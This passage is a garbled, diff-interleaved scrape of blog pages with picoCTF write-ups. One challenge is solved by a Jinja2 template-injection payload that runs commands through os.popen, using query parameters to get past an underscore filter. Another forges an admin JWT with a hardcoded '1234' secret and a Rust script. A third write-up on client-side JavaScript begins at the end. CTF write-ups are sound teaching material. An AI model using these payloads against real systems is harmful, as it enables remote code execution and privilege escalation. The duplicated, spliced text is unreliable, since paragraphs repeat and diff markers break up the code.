Next up, using the right payload. I picked the following up from PayloadAllTheThings</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-python data-lang=python><span style=display:flex><span>{{ cycler<span style=color:#f92672>.</span><span style=color:#a6e22e>__init__</span><span style=color:#f92672>.</span>__globals__<span style=color:#f92672>.</span>os<span style=color:#f92672>.</span>popen(<span style=color:#e6db74>&#39;id&#39;</span>)<span style=color:#f92672>.</span>read() }}
Next up, using the right payload. I picked the following up from PayloadAllTheThings</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-python data-lang=python><span style=display:flex><span>{{ cycler<span style=color:#f92672>.</span><span style=color:#a6e22e>__init__</span><span style=color:#f92672>.</span>__globals__<span style=color:#f92672>.</span>os<span style=color:#f92672>.</span>popen(<span style=color:#e6db74>&#39;id&#39;</span>)<span style=color:#f92672>.</span>read() }}
</span></span></code></pre></div><p>We have to bypass the underscores and it would be better if we could control the command.
The command can be passed through a request parameter and so can the underscore be.
We&rsquo;ll pass the underscore to the parameter <code>u</code> and retrieve it in the template using <code>request.args.u</code>.
Similarly, we&rsquo;d retrieve the command <code>c</code> using <code>request.args.c</code>.</p><p>So</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-python data-lang=python><span style=display:flex><span>cycler<span style=color:#f92672>.</span><span style=color:#a6e22e>__init__</span><span style=color:#f92672>.</span>__globals__
</span></span></code></pre></div><p>becomes</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-python data-lang=python><span style=display:flex><span>cycler[request<span style=color:#f92672>.</span>args<span style=color:#f92672>.</span>u<span style=color:#f92672>*</span><span style=color:#ae81ff>2</span><span style=color:#f92672>+</span><span style=color:#e6db74>&#39;init&#39;</span><span style=color:#f92672>+</span>request<span style=color:#f92672>.</span>args<span style=color:#f92672>.</span>u<span style=color:#f92672>*</span><span style=color:#ae81ff>2</span>][request<span style=color:#f92672>.</span>args<span style=color:#f92672>.</span>u<span style=color:#f92672>*</span><span style=color:#ae81ff>2</span><span style=color:#f92672>+</span><span style=color:#e6db74>&#39;globals&#39;</span><span style=color:#f92672>+</span>request<span style=color:#f92672>.</span>args<span style=color:#f92672>.</span>u<span style=color:#f92672>*</span><span style=color:#ae81ff>2</span>]
</span></span></code></pre></div><p>Putting it all together, we have:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-python data-lang=python><span style=display:flex><span><span style=color:#f92672>..</span>\templates\errors\AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Similarly, we&rsquo;d retrieve the command <code>c</code> using <code>request.args.c</code>.</p><p>So</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-python data-lang=python><span style=display:flex><span>cycler<span style=color:#f92672>.</span><span style=color:#a6e22e>__init__</span><span style=color:#f92672>.</span>__globals__
</span></span></code></pre></div><p>becomes</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-python data-lang=python><span style=display:flex><span>cycler[request<span style=color:#f92672>.</span>args<span style=color:#f92672>.</span>u<span style=color:#f92672>*</span><span style=color:#ae81ff>2</span><span style=color:#f92672>+</span><span style=color:#e6db74>&#39;init&#39;</span><span style=color:#f92672>+</span>request<span style=color:#f92672>.</span>args<span style=color:#f92672>.</span>u<span style=color:#f92672>*</span><span style=color:#ae81ff>2</span>][request<span style=color:#f92672>.</span>args<span style=color:#f92672>.</span>u<span style=color:#f92672>*</span><span style=color:#ae81ff>2</span><span style=color:#f92672>+</span><span style=color:#e6db74>&#39;globals&#39;</span><span style=color:#f92672>+</span>request<span style=color:#f92672>.</span>args<span style=color:#f92672>.</span>u<span style=color:#f92672>*</span><span style=color:#ae81ff>2</span>]
</span></span></code></pre></div><p>Putting it all together, we have:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-python data-lang=python><span style=display:flex><span><span style=color:#f92672>..</span>\templates\errors\AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
</span></span><span style=display:flex><span>{{cycler[request<span style=color:#f92672>.</span>args<span style=color:#f92672>.</span>u<span style=color:#f92672>*</span><span style=color:#ae81ff>2</span><span style=color:#f92672>+</span><span style=color:#e6db74>&#39;init&#39;</span><span style=color:#f92672>+</span>request<span style=color:#f92672>.</span>args<span style=color:#f92672>.</span>u<span style=color:#f92672>*</span><span style=color:#ae81ff>2</span>][request<span style=color:#f92672>.</span>args<span style=color:#f92672>.</span>u<span style=color:#f92672>*</span><span style=color:#ae81ff>2</span><span style=color:#f92672>+</span><span style=color:#e6db74>&#39;globals&#39;</span><span style=color:#f92672>+</span>request<span style=color:#f92672>.</span>args<span style=color:#f92672>.</span>u<span style=color:#f92672>*</span><span style=color:#ae81ff>2</span>]<span style=color:#f92672>.</span>os<span style=color:#f92672>.</span>popen(request<span style=color:#f92672>.</span>args<span style=color:#f92672>.</span>c)<span style=color:#f92672>.</span>read()}}
</span></span></code></pre></div><p>Note the <code>request.args.c</code> passed to <code>os.popen</code> for the commands we would run.</p><p>After uploading the payload we are rediected to a not found page.</p><p><a href=https://notepad.mars.picoctf.net/templates/errors/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA-xcdn7y8bhU0.html>https://notepad.mars.picoctf.net/templates/errors/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA-xcdn7y8bhU0.html</a></p><p>Let&rsquo;s now cause the app render our custom <em>&ldquo;error&rdquo;</em> page. We&rsquo;ll also set the get parameter <code>u</code> to <code>_</code> and <code>c</code> to the command to run.</p><p><a href="https://notepad.mars.picoctf.net/?errors=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA-xcdn7y8bhU0&amp;u=_&amp;c=COMMAND">https://notepad.mars.picoctf.net/?errors=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA-xcdn7y8bhU0&u=_&c=COMMAND</a></p><p>Setting <code>c</code> to the <code>ls</code> command, we get:</p><pre tabindex=0><code class=language-none data-lang=none>app.py
flag-c8f5526c-4122-4578-96de-d7dd27193798.txt

View File

@@ -34,7 +34,7 @@ class SecretGenerator {
}
}
This string &ldquo;1234&rdquo; is used as the secret for the JSON web token.'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../about/ aria-label=about style=--url:url(./about.svg)></a><a href=../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><hgroup data-pagefind-body><p data-pagefind-ignore><time>Mar 18, 2023 | 3 minutes read</time></p><h1 data-pagefind-meta=title>Java Code Analysis!?!</h1></hgroup><section class=post-content data-pagefind-body><p>To get started we are given the username &ldquo;user&rdquo; and password &ldquo;user&rdquo; to log into the BookShelf Pico web application.
We are also given the source code of the application.</p><p>Taking a look at the <code>src/main/java/io/github/nandandesai/pico/security</code> subdirectory of the project, we see that it uses JWT.</p><p>Interestingly, the file <code>SecretGenerator.java</code> in the aforementioned directory contains a weak hardcoded <em>&ldquo;random&rdquo;</em> value 😱.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-java data-lang=java><span style=display:flex><span><span style=color:#a6e22e>@Service</span>
We are also given the source code of the application.</p><p>Taking a look at the <code>src/main/java/io/github/nandandesai/pico/security</code> subdirectory of the project, we see that it uses JWT.</p><p>Interestingly, the file <code>SecretGenerator.java</code> in the aforementioned directory contains a weak hardcoded <em>&ldquo;random&rdquo;</em> value 😱.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-java data-lang=java><span style=display:flex><span><span style=color:#a6e22e>@Service</span>
</span></span><span style=display:flex><span><span style=color:#66d9ef>class</span> <span style=color:#a6e22e>SecretGenerator</span> {
</span></span><span style=display:flex><span> <span style=color:#66d9ef>private</span> Logger logger <span style=color:#f92672>=</span> LoggerFactory.<span style=color:#a6e22e>getLogger</span>(SecretGenerator.<span style=color:#a6e22e>class</span>);
</span></span><span style=display:flex><span> <span style=color:#66d9ef>private</span> <span style=color:#66d9ef>static</span> <span style=color:#66d9ef>final</span> String SERVER_SECRET_FILENAME <span style=color:#f92672>=</span> <span style=color:#e6db74>&#34;server_secret.txt&#34;</span>;
@@ -65,10 +65,10 @@ We are also given the source code of the application.</p><p>Taking a look at the
</span></span><span style=display:flex><span> }
</span></span><span style=display:flex><span> }
</span></span><span style=display:flex><span>}
</span></span></code></pre></div><p>This string &ldquo;1234&rdquo; is used as the secret for the JSON web token.</p><p>After logging into the webapp, we notice the following key value pair in our local storage (press <code>Shift</code> <code>F9</code>).</p><table><thead><tr><th>Key</th><th>Value</th></tr></thead><tbody><tr><td><code>auth-token</code></td><td><code>eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoiRnJlZSIsImlzcyI6ImJvb2tzaGVsZiIsImV4cCI6MTY3OTY2OTgxOCwiaWF0IjoxNjc5MDY1MDE4LCJ1c2VySWQiOjEsImVtYWlsIjoidXNlciJ9.7j5YSQOQMGw3NZ9ZVZG99UI0liH8vE7Jy4z2UWTMObk</code></td></tr><tr><td><code>token-payload</code></td><td><code>{"role":"Free","iss":"bookshelf","exp":1679669818,"iat":1679065018,"userId":1,"email":"user"}</code></td></tr></tbody></table><p>Let&rsquo;s write a quick program in Rust to tamper with the token.</p><p>Run the following to setup dependencies.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>cargo new bookshelf
</span></span></code></pre></div><p>This string &ldquo;1234&rdquo; is used as the secret for the JSON web token.</p><p>After logging into the webapp, we notice the following key value pair in our local storage (press <code>Shift</code> <code>F9</code>).</p><table><thead><tr><th>Key</th><th>Value</th></tr></thead><tbody><tr><td><code>auth-token</code></td><td><code>eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoiRnJlZSIsImlzcyI6ImJvb2tzaGVsZiIsImV4cCI6MTY3OTY2OTgxOCwiaWF0IjoxNjc5MDY1MDE4LCJ1c2VySWQiOjEsImVtYWlsIjoidXNlciJ9.7j5YSQOQMGw3NZ9ZVZG99UI0liH8vE7Jy4z2UWTMObk</code></td></tr><tr><td><code>token-payload</code></td><td><code>{"role":"Free","iss":"bookshelf","exp":1679669818,"iat":1679065018,"userId":1,"email":"user"}</code></td></tr></tbody></table><p>Let&rsquo;s write a quick program in Rust to tamper with the token.</p><p>Run the following to setup dependencies.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>cargo new bookshelf
</span></span><span style=display:flex><span>cd bookshelf
</span></span><span style=display:flex><span>cargo add serde_json, frank_jwt, anyhow
</span></span></code></pre></div><p>Next, add the following to <code>src/main.rs</code>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#66d9ef>use</span> anyhow::Result;
</span></span></code></pre></div><p>Next, add the following to <code>src/main.rs</code>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#66d9ef>use</span> anyhow::Result;
</span></span><span style=display:flex><span><span style=color:#66d9ef>use</span> frank_jwt::{decode, encode, Algorithm, ValidationOptions};
</span></span><span style=display:flex><span><span style=color:#66d9ef>use</span> serde_json::value::Value;
</span></span><span style=display:flex><span><span style=color:#66d9ef>fn</span> <span style=color:#a6e22e>main</span>() -&gt; Result<span style=color:#f92672>&lt;</span>()<span style=color:#f92672>&gt;</span> {
@@ -94,7 +94,7 @@ We are also given the source code of the application.</p><p>Taking a look at the
</span></span><span style=display:flex><span> Ok(())
</span></span><span style=display:flex><span>}
</span></span></code></pre></div><p>Here, we have decoded the token, modified the <code>role</code> to <code>Admin</code> and re-encoded the token using the signing key.</p><p>To run the program, issue the command</p><pre tabindex=0><code>cargo run
</code></pre><p>Now in our browser, we set the <code>token-payload</code> and <code>auth-token</code> to each line of the output respectively.</p><p>If we reload the page, we see that although we have the admin role, we cannot read the flag book. At the admin dashboard at <code>/#/admindash</code>, we can see the requests to <code>/base/users</code> in the network tab (press <code>Ctrl</code> <code>Shift</code> <code>E</code>). From here we can see that admin has the associated <code>userId</code> of <code>2</code> and <code>email</code> of <code>admin</code>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-json data-lang=json><span style=display:flex><span>{
</code></pre><p>Now in our browser, we set the <code>token-payload</code> and <code>auth-token</code> to each line of the output respectively.</p><p>If we reload the page, we see that although we have the admin role, we cannot read the flag book. At the admin dashboard at <code>/#/admindash</code>, we can see the requests to <code>/base/users</code> in the network tab (press <code>Ctrl</code> <code>Shift</code> <code>E</code>). From here we can see that admin has the associated <code>userId</code> of <code>2</code> and <code>email</code> of <code>admin</code>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-json data-lang=json><span style=display:flex><span>{
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;type&#34;</span>: <span style=color:#e6db74>&#34;SUCCESS&#34;</span>,
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;payload&#34;</span>: [
</span></span><span style=display:flex><span> {
@@ -113,9 +113,9 @@ We are also given the source code of the application.</p><p>Taking a look at the
</span></span><span style=display:flex><span> }
</span></span><span style=display:flex><span> ]
</span></span><span style=display:flex><span>}
</span></span></code></pre></div><p>In our program, we will further modify the <code>userId</code> to <code>2</code> and email to <code>admin</code> under the tampering section.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-rust data-lang=rust><span style=display:flex><span>payload[<span style=color:#e6db74>&#34;email&#34;</span>] <span style=color:#f92672>=</span> Value::String(<span style=color:#e6db74>&#34;admin&#34;</span>.into());
</span></span></code></pre></div><p>In our program, we will further modify the <code>userId</code> to <code>2</code> and email to <code>admin</code> under the tampering section.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-rust data-lang=rust><span style=display:flex><span>payload[<span style=color:#e6db74>&#34;email&#34;</span>] <span style=color:#f92672>=</span> Value::String(<span style=color:#e6db74>&#34;admin&#34;</span>.into());
</span></span><span style=display:flex><span>payload[<span style=color:#e6db74>&#34;userId&#34;</span>] <span style=color:#f92672>=</span> Value::Number(<span style=color:#ae81ff>2.</span>into());
</span></span></code></pre></div><p>Rerun the program with</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>cargo run
</span></span></code></pre></div><p>Rerun the program with</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>cargo run
</span></span></code></pre></div><p>and set the <code>token-payload</code> and <code>auth-token</code> in our browser to the new payload and encoded token from the program&rsquo;s output respectively.</p><p>Now we can go to the main page and click on the flag book. There, we get the following flag.</p><pre tabindex=0><code>picoCTF{w34k_jwt_n0t_g00d_6e5d7df5}
</code></pre></section><footer class=post-tags data-pagefind-meta=tags><a href=https://lavafroth.is-a.dev/tags/ctf class=list-tag>CTF</a>
<a href=https://lavafroth.is-a.dev/tags/java class=list-tag>Java</a>

View File

@@ -50,7 +50,7 @@ Let&rsquo;s break it down. We are going to begin with the contents in the script
tags. First, the script fetches a blob of whitespace separated numbers into the
variable bytes.'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../about/ aria-label=about style=--url:url(./about.svg)></a><a href=../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><hgroup data-pagefind-body><p data-pagefind-ignore><time>Mar 3, 2023 | 4 minutes read</time></p><h1 data-pagefind-meta=title>Java Script Kiddie 2</h1></hgroup><section class=post-content data-pagefind-body><h2 id=the-challenge>The challenge</h2><p>This is a web challenge involving javascript, meaning most of the solution is
going to be client side. We are asked to visit the <a href=http://jupiter.challenges.picoctf.org:42899/>challenge
page</a>.</p><p>From here, we can view the source code of the page.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-html data-lang=html><span style=display:flex><span>&lt;<span style=color:#f92672>html</span>&gt;
page</a>.</p><p>From here, we can view the source code of the page.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-html data-lang=html><span style=display:flex><span>&lt;<span style=color:#f92672>html</span>&gt;
</span></span><span style=display:flex><span> &lt;<span style=color:#f92672>head</span>&gt;
</span></span><span style=display:flex><span> &lt;<span style=color:#f92672>script</span> <span style=color:#a6e22e>src</span><span style=color:#f92672>=</span><span style=color:#e6db74>&#34;jquery-3.3.1.min.js&#34;</span>&gt;&lt;/<span style=color:#f92672>script</span>&gt;
</span></span><span style=display:flex><span> &lt;<span style=color:#f92672>script</span>&gt;
@@ -95,24 +95,24 @@ page</a>.</p><p>From here, we can view the source code of the page.</p><div clas
</span></span><span style=display:flex><span>&lt;/<span style=color:#f92672>html</span>&gt;
</span></span></code></pre></div><p>Let&rsquo;s break it down. We are going to begin with the contents in the script
tags. First, the script fetches a blob of whitespace separated numbers into the
variable <code>bytes</code>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-js data-lang=js><span style=display:flex><span><span style=color:#66d9ef>var</span> <span style=color:#a6e22e>bytes</span> <span style=color:#f92672>=</span> [];
variable <code>bytes</code>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-js data-lang=js><span style=display:flex><span><span style=color:#66d9ef>var</span> <span style=color:#a6e22e>bytes</span> <span style=color:#f92672>=</span> [];
</span></span><span style=display:flex><span><span style=color:#a6e22e>$</span>.<span style=color:#a6e22e>get</span>(<span style=color:#e6db74>&#34;bytes&#34;</span>, <span style=color:#66d9ef>function</span>(<span style=color:#a6e22e>resp</span>) {
</span></span><span style=display:flex><span> <span style=color:#a6e22e>bytes</span> <span style=color:#f92672>=</span> Array.<span style=color:#a6e22e>from</span>(<span style=color:#a6e22e>resp</span>.<span style=color:#a6e22e>split</span>(<span style=color:#e6db74>&#34; &#34;</span>), <span style=color:#a6e22e>x</span> =&gt; Number(<span style=color:#a6e22e>x</span>));
</span></span><span style=display:flex><span>});
</span></span></code></pre></div><p>It will be a good idea to download a copy of these bytes for ourselves.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>wget http://jupiter.challenges.picoctf.org:42899/bytes
</span></span></code></pre></div><p>The function <code>assemble_png</code> takes a 32 characters long key as an input, as is evident from the length of the variable key and the assignment of <code>u_in</code> to key only when their lengths match.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-js data-lang=js><span style=display:flex><span> <span style=color:#66d9ef>var</span> <span style=color:#a6e22e>LEN</span> <span style=color:#f92672>=</span> <span style=color:#ae81ff>16</span>;
</span></span></code></pre></div><p>It will be a good idea to download a copy of these bytes for ourselves.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>wget http://jupiter.challenges.picoctf.org:42899/bytes
</span></span></code></pre></div><p>The function <code>assemble_png</code> takes a 32 characters long key as an input, as is evident from the length of the variable key and the assignment of <code>u_in</code> to key only when their lengths match.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-js data-lang=js><span style=display:flex><span> <span style=color:#66d9ef>var</span> <span style=color:#a6e22e>LEN</span> <span style=color:#f92672>=</span> <span style=color:#ae81ff>16</span>;
</span></span><span style=display:flex><span> <span style=color:#66d9ef>var</span> <span style=color:#a6e22e>key</span> <span style=color:#f92672>=</span> <span style=color:#e6db74>&#34;00000000000000000000000000000000&#34;</span>;
</span></span><span style=display:flex><span> <span style=color:#66d9ef>var</span> <span style=color:#a6e22e>shifter</span>;
</span></span><span style=display:flex><span> <span style=color:#66d9ef>if</span>(<span style=color:#a6e22e>u_in</span>.<span style=color:#a6e22e>length</span> <span style=color:#f92672>==</span> <span style=color:#a6e22e>key</span>.<span style=color:#a6e22e>length</span>){
</span></span><span style=display:flex><span> <span style=color:#a6e22e>key</span> <span style=color:#f92672>=</span> <span style=color:#a6e22e>u_in</span>;
</span></span><span style=display:flex><span> }
</span></span></code></pre></div><p>The function then iterates over the key to store every other byte into the <code>shifter</code>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-js data-lang=js><span style=display:flex><span><span style=color:#a6e22e>shifter</span> <span style=color:#f92672>=</span> Number(<span style=color:#a6e22e>key</span>.<span style=color:#a6e22e>slice</span>((<span style=color:#a6e22e>i</span><span style=color:#f92672>*</span><span style=color:#ae81ff>2</span>),(<span style=color:#a6e22e>i</span><span style=color:#f92672>*</span><span style=color:#ae81ff>2</span>)<span style=color:#f92672>+</span><span style=color:#ae81ff>1</span>));
</span></span></code></pre></div><p>The inner loop then fills up 16 contiguous bytes of the <code>result</code> array from the index <code>j * LEN</code> by a table lookup into the <code>bytes</code> array initialized earlier.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-js data-lang=js><span style=display:flex><span><span style=color:#66d9ef>for</span>(<span style=color:#66d9ef>var</span> <span style=color:#a6e22e>j</span> <span style=color:#f92672>=</span> <span style=color:#ae81ff>0</span>; <span style=color:#a6e22e>j</span> <span style=color:#f92672>&lt;</span> (<span style=color:#a6e22e>bytes</span>.<span style=color:#a6e22e>length</span> <span style=color:#f92672>/</span> <span style=color:#a6e22e>LEN</span>); <span style=color:#a6e22e>j</span> <span style=color:#f92672>++</span>) {
</span></span></code></pre></div><p>The function then iterates over the key to store every other byte into the <code>shifter</code>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-js data-lang=js><span style=display:flex><span><span style=color:#a6e22e>shifter</span> <span style=color:#f92672>=</span> Number(<span style=color:#a6e22e>key</span>.<span style=color:#a6e22e>slice</span>((<span style=color:#a6e22e>i</span><span style=color:#f92672>*</span><span style=color:#ae81ff>2</span>),(<span style=color:#a6e22e>i</span><span style=color:#f92672>*</span><span style=color:#ae81ff>2</span>)<span style=color:#f92672>+</span><span style=color:#ae81ff>1</span>));
